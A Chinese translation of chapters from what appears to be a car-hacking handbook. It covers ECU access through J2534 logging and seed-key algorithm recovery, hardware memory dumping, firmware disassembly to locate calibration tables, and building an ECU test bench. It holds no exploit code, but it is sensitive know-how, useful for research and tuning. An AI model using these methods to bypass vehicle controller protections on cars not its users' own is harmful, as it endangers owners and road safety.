在本章中,你学习了如何从仪表板下方杂乱的电缆中识别出 CAN 总线电缆,以及如何使用像cansniffer和 Kayak 这样的工具嗅探流量并识别不同数据包的作用。你还学习了如何将 CAN 流量分组,以便比使用传统的数据包嗅探工具(如 Wireshark)时更容易识别更改。

现在你应该能够查看 CAN 流量并识别变化的数据包。一旦识别出这些数据包,你可以编写程序来传输它们,创建 Kayak 文件来定义它们,或者为 OpenXC 创建翻译器,方便使用加密狗与车辆进行交互。现在,你已经具备了识别和控制运行在 CAN 总线上的车辆组件所需的所有工具。

第六章:ECU 黑客攻击

由 Dave Blundell 撰写

image

一辆车通常有十多个电子控制器,其中许多通过网络互相通信。这些计算机化设备有很多不同的名称,包括电子控制单元(ECU)、发动机控制单元(ECU)变速器控制单元(TCU),或变速器控制模块(TCM)

虽然这些术语在正式场合中有特定的含义,但在实际操作中,相似的术语往往是互换使用的。对某一制造商来说可能是 TCU,对另一家制造商来说是 TCM,但这两个电子控制器执行的功能相同或极为相似。

大多数汽车控制模块都有防止你更改其代码和操作的措施,这些措施从非常强到极其薄弱不等。你无法知道你正在处理的具体系统,直到你对某一系统进行调查。在本章中,我们将更详细地探讨特定的安全机制,但首先我们将研究如何获取这些系统的访问权限。然后,在第八章中,我们将讨论一些更具体的 ECU 黑客攻击,如故障攻击和调试。ECU 的攻击路径分为三种不同的类别:

前门攻击 控制原始设备制造商(OEM)的访问机制

后门攻击 应用更传统的硬件黑客方法

漏洞 发现意外的访问机制

我们将首先概述这些攻击类别,然后分析你发现的数据。值得记住的是,虽然 ECU 和其他控制模块的黑客攻击目标通常是相同的——获取访问权限以重新编程并改变行为——但不太可能会有一个“万能钥匙”适用于所有控制器。然而,OEM(原始设备制造商)通常缺乏创意,很少改变其方法,因此对一个控制器的见解往往适用于同一制造商的类似型号。另外,今天很少有汽车制造商从零开始开发自己的汽车计算机,通常是从第三方如电装(Denso)、博世(Bosch)、大陆(Continental)等公司获得预制解决方案。由于这种设计方法,来自不同汽车制造商的车辆使用相似的计算机系统通常源自相同的供应商。

前门攻击

OBD-II 标准要求你能够通过 OBD-II 连接器重新编程车辆,而反向工程原始编程方法是一个确保有效的攻击路径。我们将以 J2534 和 KWP2000 为例,探讨常见的编程协议。

J2534:标准化车辆通信 API

SAE J2534-1 标准,简称 J2534,旨在通过使用 J2534 API,促进数字工具供应商之间的互操作性,该 API 概述了微软 Windows 与车辆通信的推荐方式。(你可以从 SAE 购买 J2534 API,链接地址为 standards.sae.org/j2534/1_200412/。)在 J2534 标准被采纳之前,每个软件供应商都会创建自己的专有硬件和驱动程序与车辆通信,从而进行计算机化修理。由于这些专有工具并不总是可以供小型车行使用,美国环保署(EPA)在 2004 年要求采用 J2534 标准,以便独立维修店也能使用与经销商相同的专用计算机工具。J2534 引入了一系列 DLL 文件,将标准的 API 调用映射到与车辆通信所需的指令,从而允许多个制造商发布与 J2534 兼容硬件配合使用的软件。

使用 J2534 工具

J2534 工具提供了一种方便的方式来观察 OEM 工具与车辆计算机的互动。制造商通常利用 J2534 更新计算机固件,有时还提供强大的诊断软件。通过观察和捕获使用 J2534 与车辆交换的信息,你可以看到 OEM 如何执行某些任务,这可能为你提供解锁“前门”所需的信息。

使用 J2534 工具攻击车辆系统时,基本思路是观察、记录、分析并扩展功能。当然,第一步是获取并配置 J2534 应用程序及其对应的接口硬件,以便执行你想要观察的任务。一旦设置完成,下一步是观察并记录与目标的通信,同时使用 J2534 工具对目标执行操作,比如更新配置参数。

观察 J2534 事务的主要方式有两种:一种是通过在 PC 上使用 J2534 shim DLL 观察 J2534 API 调用,另一种是通过使用单独的嗅探工具观察实际的总线流量以捕获数据。

J2534 工具是窃听工厂嵌入式车辆系统协议的关键,它们是攻击前门的主要方式之一。成功分析这些通信将使你掌握像 OEM(原始设备制造商)一样访问车辆系统的知识。它还将使你能够编写具有完全访问权限的应用程序,读取和重新编程系统,进而使你能够直接与车辆通信,而无需使用 J2534 接口或 OEM 的 J2534 软件。

J2534 Shim DLLs

J2534 shim 是一个软件 J2534 接口,它连接到物理 J2534 接口,然后传递并记录它收到的所有命令。这个虚拟接口是一种中间人攻击,允许你记录 J2534 应用程序与目标之间的所有 API 调用。然后,你可以检查命令日志,以确定 J2534 接口和设备之间实际交换的数据。

要找到一个开源的 J2534 shim,可以在* code.google.com *上搜索 J2534-logger。你也应该能够找到预编译的二进制文件。

J2534 与嗅探器

你也可以使用 J2534 生成有趣的流量,然后使用第三方嗅探器观察和记录。这没有什么神奇的:这只是一个优秀的例子,展示了如何生成可能难以捕获的有用数据包。 (有关监控网络流量的更多信息,请参见第五章。)

KWP2000 和其他早期协议

在 J2534 之前,已经有许多可闪存编程的 ECU 和其他控制单元,例如关键词协议 2000(KWP2000 或 ISO14230)。从 OSI 网络的角度来看,它主要是一种应用协议。它可以在 CAN 或 ISO9141 之上作为物理层使用。你会发现大量支持 KWP2000 协议的闪存工具,它们通过串行/USB 串行接口与 PC 进行通信,并支持使用此协议进行诊断和刷新,只需在线搜索即可找到。 (有关关键词协议 2000 的更多信息,请参见第二章。)

利用前门方法:种子-密钥算法

现在我们已经讨论了合法工具如何使用前门,是时候利用这一攻击向量,学习如何操作比喻中的“门锁”了。为了做到这一点,我们必须理解嵌入式控制器用来验证合法用户的算法;这几乎总是种子-密钥算法。种子-密钥算法通常会生成一个伪随机的种子,并期望在允许访问之前针对每个种子提供一个特定的响应或密钥。一个典型的有效交换可能是这样的:

ECU seed: 01 C3 45 22 84
Tool key: 02 3C 54 22 48

或者这样:

ECU seed: 04 57
Tool key: 05 58

不幸的是,没有标准的种子-密钥算法。你可能会遇到 16 位种子和 16 位密钥、32 位种子和 16 位密钥,或者 32 位种子和 32 位密钥。生成密钥的算法因平台而异。大多数算法是简单算术运算和一个或多个用于计算的值的组合。有几种方法可以搞清楚这些算法,从而为你提供对 ECU 的访问权限:

• 通过其他方式获取设备的固件。对其进行反汇编并分析嵌入式代码,以找出负责生成种子-密钥对的代码。

• 获取一个合法的软件工具——例如,J2534 重编程软件——它能够生成合法的种子密钥对,并使用反汇编工具分析 PC 应用程序代码,以确定使用的算法。

• 观察一个合法工具交换密钥,并分析这些密钥对的模式。

• 创建一个设备,欺骗合法工具反复提供响应。这种方法相较于纯粹的被动观察的主要优势在于,它可以让你选择种子,从而重现密钥。

你可以在pcmhacking.net/forums/viewtopic.php?f=4&t=1566&start=10找到有关通用汽车逆向工程种子密钥算法的更多信息,在nefariousmotorsports.com/forum/index.php?topic=4983.0找到有关 VAG MED9.1 的更多信息。

后门攻击

有时,正面攻击可能过于复杂;你可能没有合适的工具,或者锁太难破解。不必绝望——记住,汽车控制模块是嵌入式系统,所以你可以使用所有常见的硬件黑客方法。事实上,相比于尝试逆向工程厂商设置的正面锁,使用更直接的硬件后门方法往往更有意义,尤其是在尝试重新编程引擎模块时。如果你能获取到模块的转储数据,通常可以进行反汇编并分析,从而搞清楚正面锁的密钥如何工作。硬件后门攻击的第一步是分析电路板。

在逆向任何系统的电路板时,应该从最大的芯片开始。因为这些较大的处理器和内存芯片可能是最复杂的。建议列出零件号,利用 Google、datasheet.com或类似网站,获取数据手册。有时,你可能会遇到定制的应用特定集成电路(ASIC)和独立芯片,特别是在较旧的 ECU 中,这些芯片会比常规零件更难处理。在很多情况下,你需要根据这些部件与可识别部件的连接方式,推测它们的功能。

关键是要注意内存芯片——SRAM、EEPROM、FlashROM、一次性可编程 ROM、串行 EEPROM、串行 Flash、NVSRAM 等。不同平台使用的内存类型差异极大;这里列出的每一种类型的内存芯片都有可能在实际应用中遇到。较新的设计较少使用并行内存,更倾向于使用串行芯片。较新的微控制器很少使用外部内存,因为它们的内部 Flash 存储容量已经大幅增加。任何存在的非易失性内存芯片都可以从电路板上拆卸下来,读取后再替换。第八章会详细讲解如何逆向电路板。

漏洞

尽管可以说这只是另一种反向门的例子,但利用工具值得特别关注。与拆解计算机不同,利用工具是通过向系统提供精心设计的输入,使其执行超出正常操作范围的动作。通常,利用工具是基于漏洞或问题构建的。这个漏洞可能导致系统崩溃、重启,或从车辆用户的角度来看,执行一些不希望发生的行为。某些漏洞为缓冲区溢出攻击提供了机会,这使得仅通过向设备输入意外的输入就能控制它。巧妙设计的一组输入触发漏洞,进而使设备执行攻击者提供的任意代码,而不是触发通常的故障条件。

然而,并不是所有的漏洞都能转化为利用工具——有些漏洞只会导致问题或关闭核心系统。虽然漏洞通常是偶然发现的,但大多数利用工具需要精心制作。没有系统的先验知识,你不太可能将已知漏洞转化为利用工具,这些知识通常来自于固件分析。最起码,你需要对体系结构有基本了解,才能编写必要的代码。大多数情况下,这些知识需要在编写利用工具之前通过研究收集。

寻找合适的攻击向量的漏洞很难,编写利用工具同样困难,因此基于漏洞的利用工具相对少见。虽然低估利用工具的重要性是愚蠢的,但在第八章和这里介绍的其他方法在大多数情况下是理解和重新编程汽车系统的更实际途径。

汽车固件逆向

黑客攻击汽车控制模块,足够深入以提取其当前固件和配置,实际上只是冒险的开始。在这个阶段,你可能拥有从 4KB 到 4MB 的原始机器可用代码,其中混合了各种参数和实际代码,这些代码构成了处理器将运行的程序。假设你在本章或本书后续章节的某个黑客攻击中获得了固件中的一个二进制块。接下来,你需要反汇编该二进制文件。

首先,你必须知道这个二进制文件适用于哪个芯片。互联网上有一些免费的反编译器,支持不同的芯片。否则,你可以花钱购买 IDA Pro,它支持多种芯片。这些工具会将二进制文件中的十六进制值转换为汇编指令。下一步是弄清楚你到底在看什么。

当你开始分析原始数据时,对你逆向工程的设备功能有一个高层次的理解是非常重要的,这将帮助你知道该寻找什么。你可以首先跟踪一些线索,这些线索几乎肯定会引导你找到有趣和有用的材料。接下来,我们将查看一些具体的示例,了解如何使用常见的汽车控制器功能来洞察它们的工作原理,这样我们可能就能改变它们的行为。

自诊断系统

每个发动机控制器都有某种类型的自诊断系统,通常会监控大多数关键的发动机功能,分析这些内容是理解固件的绝佳途径。调查拆解的一个好起点是确定这些程序的位置。这将使你深入了解与所有传感器和检查错误的功能相关的内存位置。任何现代车辆都应该支持 OBD-II 数据包,这些数据包标准化了报告的诊断数据。即使是 OBD-II 标准之前制造的控制器也有报告故障的方式。有些控制器有一个系统,通过将模拟输入短接到地面,并通过内部 LED 或“检查引擎”灯闪烁显示代码。例如,知道代码 10 表示进气温度传感器故障,就意味着你可以找到设置错误代码 10 的代码片段,帮助你识别与进气温度传感器相关的内部变量。

如需了解更多关于诊断的详细信息,请参见第四章。

库函数

改变控制单元行为通常是逆向工程 ECU 固件的主要目标之一,识别控制器使用的数据是该过程中的一个重要步骤。大多数 ECU 都有一组库函数,用于代码中的常规任务。用于表查找的库函数值得在逆向工程过程中尽早识别,因为这些函数可以直接指向你感兴趣的参数。每次使用表时,都会调用一个函数来获取结果。调用此类函数的频率很高,因此很容易识别。

通常,ECU 中存储的每种数据——一维字节数组;二维字数组;三维无符号、带符号和浮点短整型数组;等等——都有一个独特的引用函数。调用时,每个表查找程序至少需要传入表的索引(或起始地址)和轴变量。通常,表查找程序可以重用,传递关于表结构的信息,例如表中有多少行和列。

校准数据通常存储在程序存储器中,并且有访问这些数据的例程。微控制器通常有特殊的指令来访问程序存储器,这些指令提供了独特的签名,便于查找并使表格查找例程特别容易被发现。这些查找例程的一个次要特征是,它们往往包含大量的插值数学。此外,表格查找例程通常在程序存储器中紧密地分布在一起,使得在找到一个例程后,查找其他例程变得更加容易。在识别出参考例程后,搜索所有对它们的调用可以为识别控制器用来做出决策的绝大多数数据提供关键。传递给这些函数的参数通常包括表格的起始地址、表格的结构或形状,以及用于索引表格元素的变量。有了这些信息,你就离改变控制器的行为更近了一步。

寻找已知表格

识别表格的一种方法是利用车辆传感器的特定物理和电气特性,这些特性将在 ECU 固件中显示出可识别的特征。例如,带有 MAF 传感器的 ECU 会有一个表格,将 MAF 的原始电压或频率读数转化为进入发动机的气流量,从而提供内部表示。

幸运的是,MAF 输出信号由物理学决定——也就是金氏定律——因此曲线将始终具有特征形状,尽管每个传感器的形状略有不同。这将导致表格具有一组可观察到的特征值,可以在 ROM 中查看。了解这些数据是普遍存在的,接下来我们来仔细看看不同程序中如何显示校准数据。

图 6-1 和 图 6-2 展示了形状相似的福特和日产传感器曲线;它们所展示的相似性扩展到多个制造商。

image

图 6-1:福特 MAF 转换图

image

图 6-2:日产 MAF VQ 图

图 6-2 到 图 6-6 展示了同一数据的五种不同视图。图 6-3 展示了在十六进制编辑器中,图 6-2 中所示的 VQ 曲线会是什么样子。

image

图 6-3:HxD 十六进制编辑器中的 VQ 表格:128 字节或 64 到 16 位字

图 6-4 和 6-5 显示了在 github.com/blundar/analyze.exe/ 上可以找到的 analyze.exe 中的 VQ 表。analyze.exe 是一个简单的可视化工具,它根据数值大小为单元格上色。你可以选择数据的精度——例如,1 = 8 位字节,2 = 16 位字,4 = 32 位长整型——以及你希望显示的行和列数。这个简单的视觉排列通常比使用十六进制编辑器(如在 图 6-3 中)更容易识别哪些是代码,哪些是数据。

image

图 6-4:analyze.exe 中的 VQ 表:前四行的 16×16 位值,值范围从 48 到 65535

image

图 6-5:前四行的 16x16 位值

再次查看 图 6-4 和 6-5 中在 analyze.exe 中阴影处理的前四行 16×16 位值。注意,图 6-1 和 6-2 中的平滑非线性曲线如何模拟这些值的平滑非线性变化。图 6-6 显示了相同的值,在 64 列布局中,你可以看到 图 6-5 中前四行的完整梯度。无论你查看哪种类型的载体,整体数据结构都将是相似的。

image

图 6-6:每行从 64 位到 16 位字的转换

像十六进制编辑器或 analyze.exe 这样的数据可视化工具,也在你不确定要寻找的确切形状或模式时非常有用。无论你正在查看哪种类型的载体,数据结构通常会具有在可执行代码中不常见的顺序和模式。图 6-7 显示了 analyze.exe 中数据的明显视觉模式——值逐渐变化和重复的现象应该很容易被察觉。

image

图 6-7:表格数据中的模式和逐渐变化出现在 2002 款雪佛兰 Camaro ROM 中,通过 analyze.exe 可视化

另一方面,当你查看 图 6-8 中的代码时,它呈现出更为随机、混乱的外观。(在 图 6-7 和 6-8 中,精度设置为 2,因为使用的微控制器单元是 16 位处理器,可以合理假设大部分数据项也将是 16 位的。)

image

图 6-8:这段随机代码没有像大多数表格中那样整齐、有序的模式。

从 MCU 中学到更多

希望这些示例能帮助你将你期望在表格数据中找到的知识与其在二进制大对象中的表示进行连接。了解目标系统中使用的微控制器单元(MCU)的能力,可以为你查看二进制数据时提供有关预期数据类型的线索。

通常,数据表示格式由硬件决定。了解运行程序的 MCU 寄存器的大小,对于识别参数非常有帮助。大多数参数的大小通常与给定 MCU 的寄存器相同或更小。比如,像 68HC11 这样的 8 位 MCU,通常会有很多 8 位数据。在 8 位 MCU 上看到主要是 4 字节或 32 位无符号长整型数据是不常见的。虽然像 68332 这样的 MCU 上 16 位数据变得更加常见,但在 MPC5xx Power 架构 MCU 及其后续版本中,32 位数据成为常态。在没有浮点处理器的 MCU 上,找到浮点数据是很不寻常的。

比较字节以识别参数

通常可以获得多个 bin 文件,这些文件可以在相同的物理 ECU 上运行。越多越好!在十六进制编辑器中进行简单比较会显示文件之间哪些字节不同。代码保持不变而参数发生变化是常见的——但不能保证。如果文件之间的差异小于 5%,通常可以安全地假设这些差异是参数。如果你知道两个 bin 文件之间功能上的变化,并且知道哪些字节发生了变化,那么你可以获得更多线索,帮助你将 ROM 中的变化与参数的变化关联起来。

图 6-9 和 6-10 比较了 1996 年 V8 Mustang 与 1997 年 V6 Thunderbird,展示了在 114,688 字节中有 6,667 个差异。这是一个极端的例子,展示了相同的代码在不同参数下的变化,但与整体文件大小相比,差异仅约为 5.8%。

大多数处理器使用由所用处理器定义的中断向量表。参考处理器的数据手册可以定义中断例程的结构,从而帮助你快速识别中断处理程序。通过追踪处理器的中断引脚到 ECU 内的电路,再到车辆接线图中可以参考的引脚,可以帮助你识别用于服务硬件功能的代码块,例如燃油和点火控制、曲轴和凸轮信号处理以及空转功能。

image

图 6-9:1996 年 V8 Mustang(DXE2.bin)与 1997 年 V6 Thunderbird(SPP3.bin)的比较

image

图 6-10:HxD 十六进制编辑器的文件比较功能

使用 WinOLS 识别 ROM 数据

WinOLS 是一款流行的商业程序,用于修改 bin 文件。它结合了一系列工具来计算和更新 ROM 中的校验和,并配有一组工具用于识别表格。图 6-11 和 6-12 展示了 WinOLS 的使用情况。

如果已知 ROM 类型,它有许多模板,可以自动识别配置参数。大多数已知的内置 ROM 类型都面向博世 Motronic ECU。模板和配置可以保存、共享,并出售,使用户能够更轻松地对特定文件进行修改。WinOLS 可以说是用于识别 ROM 中有趣数据的最常见软件,它不涉及代码分析。它的设计旨在便于快速调整控制器的设置。

image

图 6-11:WinOLS 支持 2D 和 3D 表格视图,如这些替代视图所示。

image

图 6-12:WinOLS 用于分析 2006 年大众 2.0Tsi ECU

代码分析

代码分析可能是一个漫长而复杂的任务。如果你是从零开始,没有经验,分析一段复杂的代码可能需要数百小时。现代控制单元的代码通常有一到两兆字节,这在你用汇编语言查看时是一大堆代码。1995 年的 ECU 代码为 32 千字节(而不是兆字节),可能有超过 10,000 条汇编指令需要整理。最重要的是:不要低估这种方法所需的工作量。我会简要介绍一些工具,但没有足够的空间对这个话题进行深入讨论,尤其是对于那些不熟悉这一过程的人来说。(毕竟,关于代码分析已经有整本书了。)在这里,我只会讨论一些特别适用于汽车嵌入式系统的工具和方法。

在分析一个新的目标时,首先要识别你正在使用的架构。了解哪个处理器执行了这段二进制代码,将帮助你选择合适的软件工具进一步辅助分析。如果你无法通过芯片上的标记来识别处理器,可以在线搜索数据手册来帮助识别。

要分析代码,你可能需要找到一个反汇编器。快速搜索一下 Google,你会发现有很多这样的工具。一些反汇编器只针对单一架构——例如 Dis51——而一些则是为汽车逆向工程专门编写的——例如 Dis66k。还有一些,像 CATS dasm、IDA Pro、Hopper、dasmx 和 GNU 二进制工具(binutils)中的 objdump,支持多种处理器架构。IDA Pro 支持的嵌入式目标比大多数其他程序都要多,但它也是最昂贵的反汇编器之一。GNU binutils 也支持相当广泛的架构,但大多数系统中包含的版本仅针对“本地”架构构建。如果重新构建 binutils 并启用所有架构,将为你打开一些大门。你的预算和支持的处理器将决定哪些反汇编器是可用的。

拿出反汇编工具,开始尝试理解这些杂乱无章的内容,但正如我之前警告的,这可能需要几百个小时。采用“分而治之”的心态效果最佳——聚焦于小任务,而不是整个项目。如果你通过后门方法获得了二进制文件,你可能已经拆解了 ECU 来识别处理器。如果你破解了 J2534 编程例程,你可能不知道是哪个处理器在主导操作。在这种情况下,你需要不断地通过反汇编器使用不同的设置进行运行,直到得到一个有意义的结果。

你需要寻找反汇编后能清晰显示的汇编代码,这意味着它看起来有逻辑。如果你对错误的架构进行了反汇编,或者使用了错误的设置,你仍然会看到汇编指令,但汇编动作将没有意义。反汇编有点像一门艺术,可能需要一些实践来识别“干净”的汇编,尤其是当非执行表格和数据在代码中散布时,要学会识别反汇编器是否提供了正确的响应。

这里有一些提示,帮助你理解反汇编代码:

• OEM(原始设备制造商)喜欢为技术申请专利。如果你能找到与系统相关的专利,你可能会得到一份关于反汇编代码的指导性文档。这很可能是最一致可用的高层次过程指南,有助于你理解汽车计算机中的逻辑。专利通常至少领先于生产一到两年,甚至更多。

• 查看任何可用的软件,以便通过操作手头的 ECU 获取代码段的结构和目的。你通常可以通过售后软件中可修改的表格推测出行为模型。

• 否则,从车辆的接线图开始,追踪连接通过 ECU 电路到达 MCU 的特定引脚。这应该能告诉你哪个 MCU 硬件处理了哪个功能。交叉引用中断表,或查找服务特定硬件的调用,以识别哪些代码段处理该硬件功能。

一般的,或旧式的,反汇编器会输出非常冗长的文本。每个单独的指令都会被解析。一些反汇编器会尝试标记作为数据引用的区域,并避免对其进行反汇编。其他反汇编器则需要特别告知哪些区域是代码,哪些区域是数据。

一个普通反汇编器的工作

为了看到反汇编的实际效果,我们将查看 1990 年日产 300ZX 双涡轮 ROM 的简单反汇编。这款 ECU 使用的是一颗 28 引脚的外部 27C256 EPROM,因此相对容易获取其内容。这个平台使用的是 HD6303 MCU,它是摩托罗拉 6800 8 位 MCU 的一个衍生版本,似乎可以通过免费的反汇编工具 DASMx 进行支持(请参见www.16paws.com/ECU/DASMxx/DASMx.htm)。DASMx 附带的说明非常简洁:要反汇编foo.bin,需要创建一个文件foo.sym,描述使用的平台类型,然后在内存中创建一个入口点来放置映像、已知的符号等。是时候进行架构速成课程了!

关于内存结构的一个关键点是,MCU 可以寻址 65535 字节(64KB)。这个信息告诉你在查看二进制文件中的地址时应该期待什么。进一步的阅读表明,中断向量表位于可寻址内存的末尾,而复位向量——每个处理器在重置后开始的地方——位于 0xFFFE/0xFFFF。假设我们从读取 EPROM 中获得的 32KB(0x7FFF 十六进制)二进制文件包含了中断向量表,那么我们可以推断出二进制映像需要从内存地址 0x8000 开始,这样它就可以在 0xFFFF 结束(0xFFFF – 0x7FFF = 0x8000)。同时,搜索在线资源查看是否有其他人正在做类似的事情也很有帮助。例如,* forum.nistune.com/viewtopic.php?f=2&t=417*上的帖子是关于一个较小的 16KB 二进制文件,它基于 0xC000 入口点的设置。在实际调用反汇编工具之前做更多的前期调研和研究,越有可能获得合理的结果。

图 6-13 展示了 300ZX 二进制文件的符号表。在每个符号旁边是固件使用的内存地址。这些内存地址可以保存如来自芯片不同物理引脚的输入数据或内部信息(如时序)等值。

image

图 6-13:DASMx 反汇编 32KB 300ZX 二进制文件的符号文件

我们将使用 DASMx 来反汇编这个二进制文件。如图 6-14 所示,DASMx 报告了一个日立 6303 MCU,其源文件的长度或大小为 32KB,即 32768 字节。

image

图 6-14:运行 DASMx 反汇编 32KB 300ZX 二进制文件

现在,交叉你的手指,祈祷得到一个有意义的结果!

结果就是图 6-15 中显示的向量表,看起来是合理的:所有地址都位于指定的 0x8000 入口点之上。注意,复位向量(0xFFFE,RES-vector)指向位于 0xBE6D 的RESET_entry

image

图 6-15:反汇编的向量表

我们可以在 0xBE6D 处反汇编复位向量,该位置也是代码的入口点。在图 6-16 中,我们看到一个例程,RESET_entry,它看起来像是清除了一块 RAM。这是初始复位序列中一个合理的部分,因为在启动时,固件通常会将数据区域初始化为全零。

image

图 6-16:复位向量反汇编

我们已经将这个示例进行到获取反汇编二进制镜像并检查基本合理性为止。现在,进入更难的部分:跟踪代码,将其拆分为多个例程,并试图弄清楚它是如何工作的。

交互式反汇编器

截至本文写作时,IDA Pro 是目前最受欢迎的交互式反汇编器。它执行与刚才讨论的简单反汇编器相同的任务,还做得更多。具体来说,IDA Pro 为寄存器和变量命名;一旦 IDA Pro 识别并命名了一个变量或内存地址——例如,$FC50–RPM——它会为代码中对该变量的所有引用赋予一个描述性名称,而不是较难识别的普通十六进制地址。IDA Pro 还可以绘制代码图表,以可视化程序流程。

IDA Pro 的一个优点是它可以编程,允许为定制汽车处理器添加额外的操作码,并为进一步处理反汇编代码(例如,将汇编代码反编译为更高级的语言代码)提供插件;它还允许使用结构体、联合体、类和其他用户定义的数据类型。

最后,IDA Pro 支持的嵌入式平台比当前市面上几乎所有其他反汇编器都要多。

虽然你不一定需要这些功能来成功分析代码,但它们会大大简化工作。图 6-17 和 6-18 是使用 IDA Pro 进行的实际代码分析的截图。感谢 Matt Wallace 在公开论坛上慷慨地发布了这些示例。

图 6-18 中的用户通过多种硬件破解方法获得了 Acura NSX ECU 固件,将代码拆解后使用 IDA Pro 进行了分析,并对其进行了重写。接下来,用户确定了从 ECU 日志数据并修改其操作所需的功能。最终的结果使得用户能够在工厂电脑上使用强制进气——即涡轮增压器和机械增压器;如果没有 ECU 修改,这是不可能实现的。

image

图 6-17:显示为 NVRAM 实时编程编写的自定义例程的 IDA 图

image

图 6-18:用于检查 NSX ECU 燃油喷射器的代码的 IDA 图

总结

因为对 ECU 的破解通常涉及到比现代设备(如手机)使用的处理器更小的处理器,因此用于反向工程固件的工具在不同的目标设备之间有所不同。通过结合多种技术,比如使用数据可视化来定位表格,和直接反向固件,你可以识别出你感兴趣的修改区域。本章讨论的方法是性能调校员常用的技术,用于调整车辆的燃油效率表现。这些方法都可以用来解锁隐藏在你车辆代码中的功能。我们将在第十三章中更详细地探讨性能调校。

第七章:构建和使用 ECU 测试台

image

一个 ECU 测试台,如图 7-1 所示,由 ECU、电源、可选的电源开关和 OBD-II 连接器组成。你还可以添加 IC 或其他与 CAN 相关的系统进行测试,但仅构建一个基本的 ECU 测试台已经是学习 CAN 总线和如何创建自定义工具的一个很好的方法。在本章中,我们将一步一步地讲解如何为开发和测试构建测试台。

基本 ECU 测试台

最基本的测试台是你想要测试的设备和一个电源。当你为 ECU 提供适当的电力时,你就可以开始对它的输入和通讯进行测试。例如,图 7-1 展示了一个基本的测试台,包含了一个 PC 电源和一个 ECU。

image

图 7-1:一个简单的 ECU 测试台

然而,你通常至少会希望添加一些组件或端口,以使测试台更容易使用和操作。为了更方便地开关设备,你可以为电源添加一个开关。OBD 端口允许专用的机械工具与车辆的网络进行通信。为了使 OBD 端口能够完全工作,我们需要将 ECU 的车辆网络电缆暴露到 OBD 端口。

寻找 ECU

找到 ECU 的一个地方当然是在废品场。你通常会在车的中控台的收音机后面或手套箱后面找到 ECU。如果你找不到它,可以尝试利用庞大的电缆束追溯到 ECU。自己拆卸时(费用大约为$150),务必从支持 CAN 的车辆中拆下 ECU。你可以使用像http://www.auterraweb.com/aboutcan.html】(http://www.auterraweb.com/aboutcan.html)这样的参考网站来帮助你识别目标车辆。另外,当你移除 ECU 时,确保至少保留一段电缆,这样以后接线会更方便。

如果你不太喜欢从废车中拆卸设备,可以在像【car-part.com】(http://car-part.com)这样的网上网站上订购 ECU。费用会稍微高一些,因为你需要支付给别人去获取零件并将其寄给你。务必确保你购买的 ECU 包含了电缆束。

注意

在线购买 ECU 的一个缺点是,如果你需要多个零件,可能很难从同一辆车上获得它们。例如,你可能需要车身控制模块(BCM)和 ECU,因为你希望包括钥匙,而防盗系统在 BCM 中。在这种情况下,如果你混合搭配来自两辆不同车辆的部件,车辆就无法“正常启动”。

与其收集或购买一个二手的 ECU,你也可以使用一个预构建的模拟器,比如 ScanTool 的 ECUsim 2000(参见图 7-2)。像 ECUsim 这样的模拟器每个协议的价格大约为 200 美元,并且只支持 OBD/UDS 通信。模拟器可以生成故障和 MIL 灯,并包括用于改变常见车辆参数(如速度)的故障旋钮。然而,除非你正在构建一个仅使用 UDS 数据包的应用程序,否则模拟器可能不是最佳选择。

image

图 7-2:ECUsim OBD 模拟器

解剖 ECU 接线

一旦你有了所有的零件,你需要找到 ECU 的接线图,以确定需要连接哪些线路来使其工作。访问像 ALLDATA (www.alldata.com/) 或 Mitchell 1 (mitchell1.com/main/) 这样的网站来获取完整的接线图。你会发现现成的维修手册有时会包含接线图,但它们通常不完整,并且只涵盖常见的维修区域。

接线图并不总是容易阅读,主要是因为有些接线图将许多小组件结合在一起(参见图 7-3)。尝试在脑海中分解每个组件,以便更好地了解需要关注哪些线路。

image

图 7-3:ECU 接线图示例

引脚图

你可以从 www.innovatemotorsports.com/resources/ecu_pinout.php 以及像 ALLDATA 和 Mitchell 1 这样的商业资源中获取多个不同车辆的 ECU 引脚图。像 Chilton 这样的汽车维修手册包括块图,但你会发现它们通常只涵盖最常见的维修组件,而不是整个 ECU。

块图

块图通常比显示所有组件在同一张图纸上的接线图更易于阅读。块图通常仅显示单个组件的接线,并提供主组件的高级概览,而原理图则显示所有电路细节。一些块图还包括图例,显示该图所指的连接器块及该模块上的连接器;你通常可以在块图的角落找到这些信息(参见表 7-1)。

表 7-1: 示例连接器图例

连接器 ID 引脚数量 颜色
C1 68 WH
C2 68 L-GY
C3 68 M-GY
C4 12 BK

图例应给出连接器的编号、引脚数量和颜色。例如,表 7-1 中的 C1 = 68 WH 表示 C1 连接器有 68 个引脚,并且是白色的。L-GY 可能表示浅灰色,以此类推。像 C2-55 这样的连接器编号指的是连接器 2 的引脚 55。连接器通常在行的第一个和最后一个引脚上标有编号。

接线

一旦你获得了连接器的接线信息,就可以开始接线了。将 CAN 接到连接器上的正确端口,正如在《OBD-II 连接器针脚图》第 31 页所讨论的那样。当你提供电源(来自旧 PC 的电源应该足够)并添加一个 CAN 嗅探器时,你应该能够看到数据包。你可以使用任何汽车商店都能买到的简单 OBD-II 扫描工具。如果一切接线正确,扫描工具应该能识别出车辆,前提是你的测试台包括主 ECU。

注意

你的 MIL(发动机故障灯)很可能会被扫描工具/ECU 报告为开启状态。

如果你已经接好了所有线,但仍然看不到 CAN 总线上的数据包,可能是缺少终端电阻。为了解决这个问题,首先可以添加一个 120 欧姆的电阻,因为 CAN 总线的两端都有 120 欧姆的电阻。如果这样不行,再加一个电阻。最大缺失电阻应为 240 欧姆。如果总线依然无法工作,那么请重新检查你的电缆并再试一次。

注意

许多组件通过简单的方式与 ECU 通信,或者通过设定的数字信号,或者通过模拟信号。模拟信号可以通过电位器轻松模拟,通常你可以将一个 1 千欧的电位器连接到发动机温度和燃油线来控制它们。

构建更先进的测试台

如果你准备深入研究汽车黑客技术,考虑构建一个更先进的 ECU 测试台,就像在《图 7-4》中所示的那样。

该单元将 ECU 与 BCM 集成在一起,因为它还拥有启动车辆所需的原始钥匙。注意,选配的 IC 在左下方有两个 1 千欧的可变电阻(也叫电位器),这两个电位器都连接到发动机温度和燃油线。我们使用这些电位器来生成传感器信号,如下面的章节所述。这个特定的测试台还包括一个小型 MCU,允许你模拟向 ECU 发送曲轴和凸轮轴信号。

image

图 7-4:更复杂的测试台

更复杂的设备,如《图 7-4》所示,使得确定 CAN 流量变得轻而易举:只需加载一个嗅探器,调整旋钮,观察数据包变化。如果你知道你针对的线和它们接收的输入类型,你可以轻松模拟大多数组件的信号。

模拟传感器信号

正如我之前提到的,你可以在这个设置中使用电位器来模拟各种车辆传感器,包括以下几种:

• 冷却液温度传感器

• 燃油传感器

• 氧气传感器,用于检测排气中的燃烧后氧气

